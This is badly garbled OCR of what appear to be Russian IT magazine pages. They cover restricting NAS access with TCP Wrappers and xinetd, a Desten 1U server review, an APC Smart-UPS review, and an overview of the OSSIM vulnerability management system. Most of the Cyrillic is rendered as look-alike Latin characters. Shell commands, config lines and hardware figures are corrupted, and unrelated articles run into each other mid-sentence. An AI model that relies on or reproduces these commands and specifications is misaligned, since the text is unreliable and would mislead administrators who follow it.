B kadecTBe UCTOYHHKE ITPEeANOYTHTENILHO
yKasark Karajor /mnt/private, 470651 He KO-
TTMPOBAaTh MHOXECTBO OeCIIONe3HbIX JaHHbBIX,
KOTOPBIE TONB30BATENH MOTYT CKIaJJUPOBATH
B 001y IIapy, a camy KoMaHzy A06aBHTE B
3agaHuA cron (CoBeTyeM HACTPOUTL esKelHeB-
HOe KOTTHPOBaHHe).

OFPAHUMEHME OOCTYNA Bo uzbexxanne 3a-
X/JIaMJIeHHA OTKPBITOTO JJIA BCeX MMoApAJ] KaTa-
nora /mnt/share, HeKOTODEIX IIOJIb30BATeNEH
Jydiie oTpesaTs oT NAS-cepeepa ¢ NOMOIIBIO
TCP-Wrappers. [l 3TOTO ycTaHABJINBAEM
nakersl xinetd u tepd:

$ sudo apt-get install xinetd tcpd

U eumceiBaeM [P-anpeca HeyrofHLEIX B dakin /
etc/hosts.deny:

ALl 102 E8 1 120 19201681 .15
OTo aBToMaTHIeCcKH obezonmacut NAS-cepsep

pH gocryie 1o nporokojam NFS u SFTP. Yro-
obl vsftpd HayuMICa MpOTTycKaThk CBOM coeJlHe-

$ sudo killall vsftpd
&
e

jusr/local /sbin/vsftpd

Samba ne ymeer paGorars ¢ tepd, HO ee MOKHO

3aIyCTHTE TI0Z er0 YIPABIEHHEM C IIOMOIIBI0
xinetd. OcranosumM samba-gemMoH:

5 sudo service samba stop

JlobaBHM CIeAYIOMYIO CTPOKY B /etc/inetd.
conf:

netbics-ssn stream tep nowalt root /

usr/sbin/tepd /fusr/sbin/smbd
W — mepesanycrum xinetd:

$ sudo service xinetd restart
OrpaHu4gnBaTh A0CTYI IO TpoTokoxy HTTP
He MMeeT CMBIC/IA, Be/ib OH paboTaeT TONbKO B

pexXuMe YTeHH.

3AKNHYEHME Cozganne cobcTEEHHOTO

NAS-cepBepa U3 NOAPYYHbIX MaTepHaloB — He

TaKad YK ¥ CI0KHaA 3aja4a. KDHC'{HD, Hamr

NAS ne obnagaet web-nnTepdeiicom, He yMeeT

wudpoBaTh NepeaaBaeMle JaHHbIe (3a He-
KJIIO4eHHeM npeTokona SFTP) 1 He Hakna/Abl-
BaET KBOTHI HA [10J1b30BaTENeH U rpyIikl. Ho

HYIXHO TU BCE 3T0? ,Z[J'[ﬂ BONBIIMHCTBA AIMHHOB

C PyKaMu JOCTYII 110 TpoTokoay SSH ropasao

MPEANOYTHTEIBHEE JaXKe CAMoro rubKoro web-

unTepdeiica, MHdpoBanNie ZaHHEIX COBEPIICH-

HO OecIionesHo B O(}?HCHJ;[X JIOKaJAbHBIX CETAX,
d KBOTBI POXKJAI0T bosbme HCyﬂOﬁCTB, qeMm

TIPUHOCAT ITOJb3bL {y}{{ Jy4lie BpeMdA OT BpeMe-

HH IPOCMATPHBATE COAEPKHMMOE XPAHUIHINA
BIOMCKAX TeX, KTO HC0Ab3yeT NAS He 1o Ha-

3HAYCHHIO, H OHUTB 11O PYKaM IIpOBHMHHWBINHXCH,

M BKJIIOTHTS KBOTHPOBAHME U JOMHATHCA
MOMEHT4, KOIJja XpaHWIHIle 3adbeTcs) .30
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cepBepH

Navigator DX000ISR1G2:
1U-cepBep oT poccuckon kKomnaHum Desten

TexHUYyecKkue XapaKTepUuCTUKH
Navigator DXo00lISR1 G2

> poueccop:

1 vnu 2 npoueccopa Intel Xeon cepum 55xx

>Yuncer:
Intel 5500

>amaTs:

0710064 6DDR31066/1333 M
8 pazbemoB

MofAnepxKa 38pKaNupoOBaHKe
Kaoppekuyus ownbok

> ¥ecTkue gUcKu:
6 kaHanos SATA?Z

o2 cTaumoHapHbix SATA 35"
1 oTcex Slimline SATA bay

> Mopgoepxka RAID:
MuTerpupoBantbil RAID-koHTponnep
YpoBuun 0, 11 10

CeTeBoit nuTepdeic:
2 noprta Ethernet 1 Tout/c

MNutarwe:
CrauwoHapHLlf Bnok nutanmg va £00 Bt

> Paclumpenve:
1 pazbem PCI-Express Gen? x8 [Huzkonpo-
dUNbHEIR)

Mpb1 yie paccMaTpHBaliH CEpBEpHEIE perre-
HUA 13 PoccHH, BRIMyIIEHHEBIE 1107, GpenjaMu
Depo ComputersuiRU, acerogusa Hacranyepes
xommaHuH Desten u ee croeyHoro 1U-cepsepa
Navigator DXO00ISR1 G2.

DXO000ISR1 G2 — 3To cepBep HA4YaJIbHOI'O
ypoBHs, basupyoimuica Ha gumncere Intel 5500
H IByX nponeccopax Intel Xeon To¥i xe cepHu.
OcHoBHag HHMINA HOBHMHKH: Web-xocTHHT,
K/JIacTepbl, TepMHHAILHBIH cepBep HadaabHO-
ro YpPOBH#A, KOHTPOJUIEP /JOMEHA, Pe3epBHbIH
KOHTpOJUIEp JOMEeHa W Jo0ble 3ajaqyd Iof-

| Aepracu HMH(PACTPYKTYPHI CETH.

BHyTpH Kopmyca CKPbITBI BOCEMb pPa3beMOB
JJ15 MOZyJIel oNepaTHBHOH NaMATH, KOTOPbIe
MO3BOMAIOT YyCTAaHABIMBAaTh J0 64 I'0 mamaTu
DDR3 (mo 32 I'6 Ha KakAplH mpoueccop), ABa
oTceka A 3.5" secTKuX ArHcKOB SATA2, oauH
otcexk Slimline SATAbay. BeTpoeHHBIH B YHIICET
RAID-koHTpOLIEp criocobeH cozjaats RAID-
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> DyHKUMM YipaBAEHMS:
KonTponnep ServerEngines LLC Pilot 11
Controller [uHrepdeiic IPMI 2.0

Intel Systern Management Software 3.1 u
nozaHee

Intel Remote Management Module [RMM3]

> CucTeMa oXNaXaeHns:
2 senTunaTopa [97x94x33 Mm)

> UcnonHexne:
Ycranorka B croinky (1U, 431x765x43 mm)

>lapaHTuiiHoe 06CnyXuBaHHe:
Cpokrapastun — 3 ropa
OBcnyxuBaHKe Ha MeCTe YCTaHOBKM

Maccuebl ypoBHed 0, 1 u 10. Taxxe J0CTYTIHbI
JIBa HH3KOTIPOGHIBHBIX pasbema PCI-Express
x8 u iBa GigabitEthernet-nopra.

Bbaarofaps HCcnoab30BaHUIO TOTHEH Intel 5500
HHOBOH MMHelike Mponieccopos Intel Xeon, cep-
Bep MOXeT IT0XBACTATHCH TAKUMU 0COOeHHOC-
TAMH, KaK:

* noaaep:xka texsonoruu Intel Turbo Boost,
obecneynBaloulell yBenmdyeHHe YacTOTHI OfI-
HOTO HJIHM HECKOJbKHX Anep HPOHECCOPH JJIsL
YCKOpEeHHS BEIIOTHEHUA NPHIOKEHHI;

® CHHIKEHHOE BHBpPDHDTpeﬁJIEHHE 3a C4eT uc-
nojab30BaHMsA TexHonoruu Intelligent Power,
OTKIIOYAIONIel HEeHCHOoNAb3yeMbie AApa Npo-
1Lieccopa Wi CHHKAIO e HX YaCTOTEI;

3 BBICOKOCKOPOCTHOﬁ KOHTPOJ/UVIEp IIaMATH,
KOTOPBIH MO3BOJAET NOAHATE €€ IPOIYCKHYIO
crocobHoCTh 10 64 I'6 /¢, IPOHU3BOUT KOppPeK-
LHI0 OIIHOO0K CHCTEMHOH IIMHBI H 3epKaIMpPO-
BaHHe MAMSITH;

* pacIMpeHHas I0AAepPKa BUPTyaan3aliu.
Ana ynpasleHds cepBepoM CHCTeMHBIA aJMH-
l-mc‘rparop MOKET MCIIO/Th30BaTh COBMECTHMBII C
IPMI 2.0 uaTepdetic, peanusyeMblii BCTPOEHHBIM
korTpostepom LLC Pilot Il Controller. [IpemycmoT-
pena ycramoska moayiri Remote Management
Module (RMM3, nproOpeTaeTcsi oTAeNbHO), KOTO-
perii nogaep:xusaer KVM over LAN u nipejocras-
JAeT BO3MOYKHOCTE JUCTAHIIMOHHO BKIIOYATH/
BBIKIIOYATE cepBep. B KOMIUIEKT IMOCTABKH BXO-
aurHaoopllOIntel System Management Software,
HO3BOJAIONIME [TPOMU3BO/IUTE MOHUTOPHHT U YII-
PaBJIATE 00OPY/0BaHHEM, YIAIEHHO yCTaHAB/IH-
BaThb M 06HOBIATH [10, KOHTPOIHPOBATE YPOBEHE
TnoTpebeHHs 3HePIvH M MHOTOe Ipyroe.

Ha cailiTe KoMIaHUH HMeeTcs YAO0OHBIH KOH-
¢uryparop. OH HO3BOJIHT IOKYNIATENIO OK00-
paThk HY)KHYI0 KOH(GUIypaniio U MPOHU3BECTH
3aka3cepBepa.

or 43798 pybnen, www.desten.ru
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TexHWYeCcKHe XapaKTepUCTUKH
Smart-UPS 1000i USB (SUA1000l)
> MakcuManbHasa MOLWHOCTb:

670 Batr/ 1000 BA

> [lnanazoH perynupoBK1 BXOAHOM0 Hamnpsxe-
HuA NpuY paboTe 0T CETH:
151 —-3028

> Po3eTku:
7 BXOJIHble pO3EeTKK
8 goixoaHeix pozeTok [EC 320C13

> 3aMeHsAeMble BaTapeu:
RBC6, repMeTuyHbie CBMHLOBO-KUCAGTHbIE

Batapew, cpefjHUiA cpak cnyxbel — 3-6 neT

> TunoBoe BpeMs Nepe3apafKku:

34aca

> Tunosas NPoACIKUTENLHOCTE PaBoThbl B aBTO-
HOMHOM peXumMe:

20.6 MURYT NOA NOJIOBMHHOI Harpy3koii (335
Bart)

6.1 MUHYTEI NOA nonHon Harpyskoi (670 Barr)

> UnTepdhelicHble nopThbi:
DB-2 pna RS-232
Paswem SmartSlot

Use

*> SYMNAACK '

He aymaro, 4To cucTeMbl OecriepeGoHHOTO IH-
TaHHA OT KoMmaHHM APC HyXJarwTcs XOTb B
KaKoM-TO mpejcTraBneHnu. Jllo6oi obHTaTe b
CEepPBEepHOH B Hallel cTpaHe 3HAKOM C HMeHeM

Smart-UPS 1 kpacHO# ambaemoii APC, kpacyio-
meica Ha KKAOM yCTPOMCTEe, BREITYIEHHOM
3TOH KoMIaHueH. BrojiHe 3aKOHOMEPHO, 4TO
| meprriit 0630p GecnepeGoiinmKoB pyOpHKM
IN DA FOCUS mocBsiieH HMEHHO 3TOH Mapke.
Berpeugaiite: Smart-UPS 1000i USB 1 Smart-UPS
1500 RM 2U USB — 3HakoBsIe mogenu MBI oT
APC, paccunTasHble Ha IPUMEHeHHe B chepe

MOJ/IEPIKKH cepBepHOro 00OpyZioBaHMA W 3a-
LIHTEI BKHBIX JAHHBIX OT [IOBPEXAeHHAMH.

BeixoaHas MOIIHOCTE cocraBiager 670 Bart
ana mogemn SUAI000T w 980 Barr — pmns
SUA1500RMI2U. Ha 3asireii naneIu pacmosiara-
10TCcH 8 U 4 BBIXO/IHBIE PO3ETKH; COOTBETCTBEH-
HO, B KAYECTBE aKKyMy/IATOPOB HCIIONB3YIOTCH
| CBHHI[OBO-KHC/TOTHBIE GATapeH CO CPEAHHM
CpOKOM CIyKObI 3-6 jieT. Bpema sapajku co-
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Smart-UPS 1000i USB u Smart-UPS 1500 RM 2U USB:
Hepfoporue uHagexHble UbIM ot APC

>YpoBeHb WwymMa:
41 nbA

>TaBapuThbi:
216x170x439 Mm

>Bec:
13.2 Kr bes ynakoBkn

TexHUYecKune XapaKTepMCTUKH
Smart-UPS 1500 RM 2U USBE
{SUA1500RMI2U)

MakcuManbHas BbIX0QHaA MOLLHOCTb:
980 BatT/ 1500 BA

> [lnana3oH perynupoBKyY BXOLHOIO Hanpsixe-
Hus npu paboTe oT ceTH:
151 —3028B

>PozeTku:
2 BXO[HbBIX PO3ETKM

crasisgeT 3 gaca, a AJMTe/IbHOCTh PAOOTHI IO
TOJHOH HArpy3KoH — 6.1 MHHYTBI [UIs1 MOJeJTH
SUA1000I 1 7.4— pis SUA1500RMIZ2U.

Yro kacaercsl KadecTBa NHMTAHHA, TO B STOM
IUTaHe K MOZeJIAM HeT HHKAKAX TpeTeH3uii, [Te-
PeKJII0YeHAEe MEeM /LY COCTOAHUAME IIPOMCXOJHT
TaK OBICTPO M ILIABHO, YTO €r0 TPYAHO 3aMEeTHTD.
BLIXOAHOH TOK HMMEeT HAEanbHYH CHHYCOH-
nansHyo Gopmy. JHana3oH peryaHpOBKH BXO-
HOrO HaNpsKeHus cocrapsaeT 151-302 B.

Jlasi ympasieHusi wHenonbsyerca USB-unrep-
defic 1 y)Ke 3HAKOMBIH MHOTHM CHCTEMHBIM
agMuHEHCTpaTopaM KoMiuiekT IT0 PowerChute,
BEPCHHM KOTOPOrO CYINECTBYIOT NpaKTHIec-
KH /i1 BCEX TMOAAIIUX NpH3HaKy #xu3Hu 0C.
PowerChute mo3BonAET AUCTAHITMOHHO YIIpaB-
nark MBI, HpoBOAUTE €ro AHATHOCTHKY, pe-
1aTh Npo6ieMbl paGoTOCIOCOGHOCTH, & TAKIKE
6esonacHo 3aBepuiaTs paboTy onepanHoOHHOH
CHCTeMbI, [peXAe deM OaTapes paspaHTCH.
Pazwem SmartSlot npegHasHadeH /A YCTAHOB-

4 BoIxoaHbIX pozeTku IEC 320 C13

> 3aMeHaeMble GaTapeu:
RBC24, repMeTUYHbIE CBMHLOBO-KUCNOTHBIE
batapen, cpegruii cpok cnyxbel — 3-6 net

> TunoBoe BpeMs nepe3apagKu:
Juaca

> TUnoeas NpofoMKUTENBLHOCTE paboThl B aBTO-
HOMHOM pexuMe:

26.5 MUHYT N0 NONOBUHHCH Harpyskoii (490
Barr)

7.4 MUHYTBI NOG N01HOW Harpy3koii (780 Batr)

> UHTepdeicHble NopThi:
DB-9 ana RS-232
Pazbem SmartSlot

USB

>YpoBeHb WyMa:
46 nBA

>TabapuTsi:
89x432x457 MM
MoHTupyetcsa B 19" cTofiky, BbicoTa 2U

> Bec:
28,6 kr

KH [ONOJHHTENBHBIX IUIAT, PacIIHpPAOIIHX
BoaMmokHOocTH MBIl (Hanpumep, A/ 3alUThl
AAHHBIX HA HECKOIBKHX CepBepax, MoKI09eH-
HbIX K ogHOMY MBI, Moty 119 MOHHTOPHHTA KITH-
MAaTHYECKHX IapaMeTPOB B CTOHKe).

Tepeauss naHeab 060HMX YCTPOHCTB OCHAIEHA
CBETOAHOZHBIM AHCIUIEEM CO IIKalaMH Harpys-
KK | 3apsaa GaTapeil H HeCKONbKHMHA MH/[HKA-
Topamu: pabora ot Garapei, paboTa OT ceTn,
He0OX0AHMOCTh 3aMeHEI faTapeH, HHAUKaTOP
neperpysKH u T.71. BecriepeboiiHUKH HCIIOIb3Y-
10T pasjudHble 3BYKOBBIE CHTHAIBI /I HH/H-
Kal[HH IIepexoa B PeXHM paGoThl 0T 6aTapeii 1
daxTa ncyepnanua zapaaa.

HWBII cooTBeTCTBYIOT TpebDOBaHHAM cTaHaap-
ToB 6esonacHoctr C-tick, CE, EN 50091-1, EN
50091-2,GOST, VDE H 9KOJTOTHYECKHM HOpMaM
RoHS 7b Exemption. Cpok rapaHTHH COCTaBIIsA-
eT 2 rojia Ha peMOHT HITH 3aMEeHY.

Smart-UPS 10001 USB: 11600 pyGmei
Smart-UPS 1500 EM 2U USB: 20860 py6neit
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oA npeccoM
IT-pucKoB

0630p Open Source cucTeM ynpasieHUs y13BUMOCTAMM
ObecneyeHune be30NaCHOCTM B YCIOBNAX COBPEMEHHbBIX KOMMbIOTEPHbIX Ce-

Teu, UMEeLLLMX bonbLIoe KOIMYEeCTBO Pa3HOPOAHbLIX 10 CBOEMY COCTABY XOC-

TOB M 0MepaLVoHoK, TpebyeT [0CTaTOUHO BoAbLUMX yCunuii. YeneanTb

33 BCeMM CobbITUAMN CTaHOBUTCA BCe TpyaHee. CucTeMbl ynpaBieHnd yas3-

BUMOCTAMM MNO3BONIAT MakKCMMaJlbHO aBTOMaTU3MPOBaTb NPOLLECC KOHTPOJIA

3a CeTblo C Bblayen pekoMeHAaLUnin no ycTpaHeHnio npobnem.

INepes TeM KaK HadaThb 0030p, CKaXKeM HECKOTBKO
CJIOB 0 HA3HAYEHWY CUCTEM YIIPABJICHUA YA3BH-
mocTamu (Vulnerability Management). Yem oHE
OTIHYAOTCA OT IPHBLIYHBIX HHCTPYMEHTOB IIeH-
TecTepa M afMHHHACTpaTopa? CeroAHA 3aljHTa
ceTel CTPOUTCA Ha, B 0O1IEM-T0, CTaH/IAPTHOM
Habope: MeKCeTeEBOH 3KpaH, KOPIIOpaTHBHbIE
AHTHBHUPYCBL, CHCTEMa 0DHAPYKEeHMs aTak Snortc
KOHCOIBI0 BASE, nporpamMma noucKka H3BeCTHBIX
ysaseumMoctei Nessus/OpenVAS, ceTeBoi ckaHep
Nmap ¥ HeKOTOpEIe ApyTHe. B 0TAeIbHOCTH
Ka/1as1 U3 STHX IPOTPaMM,/ CePBUCOB OTIMYHO
BBHIOTHAET CBOM QYHKITHH, BbilaBas crieliya-
JIMCTaM BHYIIATE/IbHbIH 06beM HHOOPMALHH.
AHaINU3UPOBATH U CONOCTABATE ITOMYy4eHHbIE
JaHHbIe TTIPUXOAUTCS B TIOIYaBTOMATHIECKOM
pexume. /Ui yTouHeHHA CHTYaLH 3alycKaeTcs
0/[Ha YTHJIMTA, 3aTeM ellle ofHa M T.A. B peayibra-
Te /715 TOJTHOTO TIOHMMaHMA TeKyIed obcTaHoB-
KM B ceTH TpeOyeTca mepeBepHyTh TOPhI 0TYETOR,
COZaHHEIX PA3HOIUIAHOBLIMHY IPOrPAMMAaMHE, Ha
9TO YXOAUT HEBEPOATHOE KOTHIECTBO BpeMEHH.
Eine onHa mpofaemMa: Hy?KHO NOCTOAHHO OTC/IEHH-
BaTh IOABJIEHHE YA3BUMOCTEH B HCTIONb3YeMbIX
OC 1 IPIIOKEHWAX, OLIEHHBATD BOCTIPHHMYH-
BocTh [10 K OT/e/IbHBEIM TUITaM CeTEBBIX aTak,
JlepIKaTh B yMe, KaKie 00HOBIEHNUS yCTAHOBIIEHEL,
4 KaKHe ele Mpe/ICTOUT HaKaTHTh. YTo KacaeTca
MOHCKA M3BECTHBIX yA3BHMOCTEH, TO eT0 MOKHO
BBITTOTHATE CAMOCTOATENBHO, HOAITHCABIINCE Ha
PACCHUIKY OHOI'0 HIH HECKOJIBKHX CTIeITUATHEH-
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POBaHHBIX pecypcoB. DTo, KOHeYHO XKe, Security
Focus (www.securityfocus.com/y rabilities)
1 OSVDB 6a3e1 (Open Source Vulnerability
DataBase, osvdb.org), cozepixaliye yA3BUMOCTH
¢2002 roza. Jia yao0bcTEa B IoCiefHEM Clydae

LT

MOHO BOCHO/Ib30BaThCA yTiiuToi HackerStorm
OSVDB Tool (www.hackerstorm.com). Taxxe
CTOWT VIIOMSIHYTE 0 Ha3e 0BHAPYKeHHBIX TpodIeM
GezonacnocTw 5110, cO3TaHHOH 10 TOKPOBHTE/Ib-
creomM HanmosaiasHoro MuacTtuTyTa CTaHaapToB 1
Texuomorui, CIIA (nvd.nist.gov).

Ho ecnu npou3Be/ieHa ele He OlTMcaHHaA HA B
OZIHOM MCTOYHHKE aTaka, Tnho ceTh mocTpajana
OT «[1POEIOK» HHCAHAepa, TO TIPoHIeMbl MOKHO
0BHAPYKHATE TOABKO Ha OCHOBE COOPaHHLIX
CTaTUCTHYECKHX IaHHEIX. [[prriem Oe3 aBToMa-
TH3AIMU Tpoliecca, CHUMaoomeH Harpysky ¢ IT-
[IePCOHAJIA U TIPeI0CTABIAIOIIEH BO3MOXKHOCTD
CHCTEeMAaTH3HPOBATE HAKOIUIEHHYI0 nHbopMa-
1IH10, 3/1eCh He 000HTHCh. TAK MOABMIMCH HOBbIE
paspaboTKH, 33/1a9a KOTOPBIX — [IPUBECTH BCE
TIONYYCHHBIE PA3HBIMH NPHII0KEHUAMH JaHHbIC B
VA0OHBIH 4715 ananusa Byua. [1o106Hble IporpaM-
MBI IBJILEOTCA KOMILIEKCHBIM pellleHMeM M BKITIO-
Ya10T CPeACTBA HHBEHTAPH3ALHH PECYPCOB CEeTH,
MOHHMTOPHHTA CHCTEM, CHCTEMBI 00HaPYKeHHA 1
OTPayKeHH ATAK, TeHEPAITUH OTUETOB U T. /.
CymecTByeT BecbMa 60/IbIION CIIHCOK KOMMep-
JecKHX perreHu i — Microsoft Security Response
Center (MSRC), IBM Internet Security Systems,
Lumension Vulnerability Management (panee

PatchLink), QualysGuard, Symantec Control
Compliance Suite (SCCS), MaxPatrol ot Positive
Technologies 1 mHOTHE ApyTHe. [Ip1 BCex CROMX
JOCTOMHCTBAX CTOAT OHY BEChMa HEZIeIIEB0, U
npoie 060HTHCE cBo6oAHEIME aHatoramu. O
HUX U IIOOBOPHM.

YNPABNEHUE 3ALLMTOMN C 0SSIM [masnas
3agaga npoexra OSSIM (Open Source Security
Information Management, ossin.nel) — Max-
CHMaJIbHAasA HHTerPALHA PA3HOPOJHEBIX YTHITHT
BIIpe/ieiax eInHON OTKPEITON apXUTEKTYPLL. B
pe3yJIBTaTe NOABIAETCA BO3MOKHOCTE HAKOTI-
TIATH JAHHEIE, HAXOUTE H OTCICHKHUBATE YETKHE
B3AHMOCBA3H B COOPaHHON MHOPMAITHH.
MCTOYHUKAMEY CITYKAT IPAKTHYECKH 1100ble
YTHINTEL, CITIOcOOHEBIE 06pabaTeIBATE CETEBYIO
WM CUCTEMHYI0 MHGOPMAITHIO B PeaslbHOM
BpeMeHH. B HacTosIIee BpeMA CIMCOK HHTETPH-
poBaHHbIX B OSSIM HHCTPYMEHTOB IOBOABHO
mmpok: Arpwatch, POf, pads, Nessus/OpenVAS,
Ntop, Snort, teptrack, tepdump, Nmap, Spade,
Nagios, Osiris, OCSInventory-NG, OSSEC,
RRDTool (01oMHATETEHO BOZMOIKEH aHa 13
AanHbIx, cobupaemsix preludelDS, NTsyslog,
Snare, Cisco Secure IDS). JlaHHBIE MOT'YT GBITh
J0CTaBIeHEL IPH MOMOLIH PA3HEIX CTTOCOG0B:
syslog, plain log, SNMP, OPSEC, coxeT MIIp. —H
AAMHHHUCTPATOP MOKET MOMYIHTH HHPOPMALTHIO
011060M COOBITHH B CETH, XOCTe HIH YCTPOHCTBE.
OraeinpHAasA CHCTeMa IOABEPTAeTCS e TAIBHOMY
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aHaJH3Y, /1A 9ero cobupaeTca MHGOPMAIIHA 0 THITMYHOM ee UCTIONb30Ba-
HMMU (HanpuMep, cpegHHH TpadHK 3a JeHb), aKTUBHOCTH TOTb30BATENA
(nowTa, aceka, http, ftp 1 T.11.) K TPOH3BOAUTCA MOHUTOPHHT CECCHH B
pealbHOM BpEMEHH C BO3MOKHOCTEIO 0TODPasHTh XapaKTep aKTHBHOCTH
mvamEHel B Cetn. ArenTel OCSInventory-NG nocTaBnaoT JaHHEe 00 yeTa-
HOBJTEHHOM Ha Kax/IoM KoMIbtoTepe obopyzosarnm u [10. Ha ocHOBaHNH
JaHHBIX MOHMTOPHHTA OSSIM cllejuT 3a CBA3AMU OTe/bHBIX KOMIIBIOTEPOR
H BBIYHC/IAET COCTABHOM PHCK. JUIA 3TOT0 CTPOATCA IPadHKH TOCTOSHHBIX
TCP-ceccntt, rpadukn mameraAwiuxes UDP, TCP u ICMP cBs3elt, 4To TO3B0-
JieT UeHTHGHIIMPOBATE CeTEBbIe ATAKH, COBEPIIaeMble OAHOBPEMEHHO Ha
HeCcKONbKO KOMIBIOTepoB. B peaynsrate OSSIM mozxeT paboTaTe Kak cucTe-
Ma pegoTBpaitennd aTak (IPS, Intrusion Prevention System), OCHOBBIBasiCh
Ha KOPPelTHPOBAHHEIX JAHHBIX, COOPAHHBIX CO BCEX MCTOYHUKOE. Herroxoe
JOIoHeHHe K 060poHUTeTbHOMY apceHany!

Tunnynas cricreMa Ha OSSIM cocTorT H3:

* cepBepa — IIPOU3BOJUT YIIPaBIeHHEe KOPPeIAHOHHBIM ABHAKKOM, HOPMa-
TH3AIHEC JaHHBIX, OLIEHKY PHCKa U IPHOPUTETA COBBITHIH;

* 1eMoHa KOHTpond framework, paGoTaiolero Ha cepBepe U CBASbIBAIOLLE-
IO OTAeNLHbLE YACTH BMECTE;

® Ha3kl JaHHBIX — obecTeTHBaeT 3aHeceHHe MHGOPMALHH B DeJIALHOHHYIO
6a3y JaHHBIX 1 KOPPELALIIO AaHHEIX (OCHOBHEIE KOMIOHEHTEI— MySQL,
OSSIM, Snort/ACID 1 Phpgacl);

® areHTOB — MPH3BAHbI 00 BEMHUTE ¥ 06ecrednTs 3aHeceHne B 6azy
AaHHBIX MHGOPMALIAH, CHATOMH ¢ pas/idHbIX ceHCcopoB: Snort, Pads, Ntop,
Teptrack, pOf, Arpwatch, Nessus i rip. (CIIHCOK IUTATMHOB IOCTYIIEH Ha CTPa-
Huyke www.alienvault.com/home.php?id =plugins);

¢ BeB-KOHCOM YIIPABTeHHA — YTIpaBleHHe paGoTol Beefl CHCTEMBL, aHATH3
¥ BEIZAYA JAHHELX, oeHka pucka (Apache, PHP ¢ ADOdb, Phpgacl, Rrdtool,
Mrtg, ACID, Nessus, Nmap, Ntop, FPDF umip.)

Kak/1p1i M3 ITpe/icTaBIeHHBIX KOMITIOHEHTOB MOMKeT ObITh YCTaHOBJIEH Ha OT/ie-
JBHOM cHeTeMe, HHOOPMALIS Mes /Ty HUMH BTOM CTytae Gy/IeTTIepeiaBaThes
HCK/TIOYHTEIEHO B3amHpPOBAHHOM BH/E (/1 3TOT0 HCNoib3yeTes SSL).
Peanu30BaHO TPH YPOBHA 0CTYIIA K HACTPOHKaM H QYHKIIHAM — CeTeBOH
a/MHHHCTPATOP, CHCTEMHBIA HHKeHEep 1 crieranuct sanutsl (CSO, Chief
Security Officer).

B kauecTse cucreme! A 6azpposanus OSSIM nogoiizeT itobas OC, Ha
KOTOPOH MOryT OBITh 3aITyLUEHbI BCE WIH OTA/IbHBIE KOMIIOHEHThI; IOTHY-
Hee HCI0Nb20BaTh MPeANourTaeMbli AUCTPHOYTHE Linux. [1poexT 114
YCTAHOBKH M Mcrtob308aHua OSSIM npearaeT HCXO HbIE TEKCThI (ApXUB
1 goctyn k CVS) mycranoBounsnii ISO-06pas— AlienVault Open Source STM
Installer (32- 1 64-6urHble Bepcuu pasmepom ~600 M6). [lepebifi BapuasT
TIOAXOAWT JJIA CTy4aes, KOT/la Hellk3A BRIIeNHTE o cepeep OSSIM otae-
JIBHBEIH KOMIIBIOTED; YCTAHOBKA OCYINECTRgeTes B pabouyto cuctemy. Ero
MOKHO PeKOMeHZ0BATh 1A HeOo/b KX cereil. Ha caiiTe MMer0TCA HEMHOTO
yeTapeBlliie HHCTPYKIMHK 110 yeTaHoBKe OSSIM M3 MCXOAHBIX TEKCTOB A1
Debian, Gentoo u Fedora. /lns yenoBeka, OpUeHTHPYIOIIErocd B OCHOBHBIX
BOIPOCAX, YCTAHOBKA HE BHI30BET CI0KHOCTEH. XOTsA, yIHTHIBAA BosblIoe
KOMHYECTBO Pa3sSHOPOAHBIX HPHHO}KEHHﬁ, npeaHasHavYeHHbBIX T c60pa H
BBIBOZA HHPOPMALIHH, a TAKXKe HeOOX0ANMOCTb PeaH3aliiy BeeX 3aBHCH-
MOCTCﬁ, nponecc HOTpeﬁyET O4YE€Hb BHHMATEARHOTO MOAX04d. oror BapHaHT
MOHO PEKOMEH/IOBATE TEM, KTO XOUeT JeHCTBHTeIEHO Pa3obpaThes, Kak
pabotaet OSSIM.

[Mockonpky OSSIM cobupaer Z0CTATOYHO MHOLO JAHHBIX, JIVYIIIE U1 HETO
BRIICNHTD OTAENbHYI0 cHcTeMy (paspaboT4HKH peKOMeH/IYI0T UMEHHO 9TOT
BApHUAHT). YCTaHOBKA B 3TOM CIIy4ae 0OBbMYHO IPOH3BOANTCA Ha THCTHIF
KOMIIBIOTED WIH BUPTYIBHYIO MAIIMHY U 3aHUMAeT 0K0J10 10 MHHYT.
OcHoroit SIM Installer asnsercs Debian 5.0.1 «Lenny». Hago cxaaate, aarpy-
30UHOE MEHI0 BBITIOJIHEHO He 04eHb yauHo. DOoH c/lefaH B BH/e ONMHCcaHtA
AUCTpUOYTHEA (YepHEIe GYKBEI Ha 6e10M), TO3TOMY 3/eMEHTH Brbopa
BAPHAHTA YCTAHOBKY, BRIBOAMUMEIE TAKKe UePHEIM IIpHdToM (Install,
GraphicalInstall, Advanced Options 1 Help), mpakTiyecKu He BUIHBL
Jlanee uziet 06rruHan ycraHoeka Debian — BpibHpaem B ycTaHOBIIHMKE A3LIK,
pacKIafKy, CTPaHy; JeM, TTOKa 3aKOHIMTCA POLIECC PasBePThIBAHHA
cucTeMel, 1 HacTpauBaeM ceThb (IP-azpec, macka, DNS-cepBep, MM y371a).
Mo yMoa4aHHIO TIPOTpaMMa yCTaHOBKH [TpeA/iaraeT Helolb30BaTh BeCh
JTHCK, HO MOHO BEIOPaTh M pPYUHYIO pasMeTKy. HecMOTpA Ha TO, 4TO B MEHIO
MO)KHO BHIOPATh TPapUIecKHii BAPUAHT YCTAHOBKH, A ObI COBETOBAJ 0CTa-
HOBHTbCS Ha IceBAorpaduxe. [IyHKTH T€ )Ke, BO3MOXKHOCTH Te ke, He 3Ha10,
4TO pa3paboTYHKH CeNaii c HHeTamrepoM Debian, Ho B rpaduyeckoM
PEeKIME OH KOHKPETHO TIIoUHT. [Toc/e yCTaHOBKU CHCTeMa dBTOMaTHYIeCKH
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MHOMOYUCJIEHHBIE OHNTAWH-BA3bI MOMOTYT MONTYYUTb
WH®OPMALIWIO MO U3BECTHBIM YA3BUMOCTAM

TIepe3arpys3uTcs, 3aTeM HEKOTOPOE BpeEMA 6y,I[ET 3aTpayveHo Ha
[epBUIHYIO HHUIAATH3al|o KoMIoHeHToB OSSIM.

3HAKOMMMCHA C 0SSIM NOBJIMXKE Komana «netstat

-ant» ocJIe YCTAHOBKH MOKAMKET, YTO OTKPBITO C IECATOK
JOMONHHTEILHALX ITIOPTOB. PAJ] H3 HUX COOTBETCTBYET IPH-
JIOKEHUAM, Hermoab3yeMbiM OSSIM B KadecTBe ceHCOPOB AA
c6opa saHHbIx. DAl HACTPOEK PA3IMYHBIX KOMIIOHEHTOB
OSSIM HaxoaaTed B kaTanore /etc/ossim; g yaobeTsa

OHH Pa3ioKeHE! [0 TToAKaTaaoraM i Ha3Ha4eHHUIO — SETVeT,
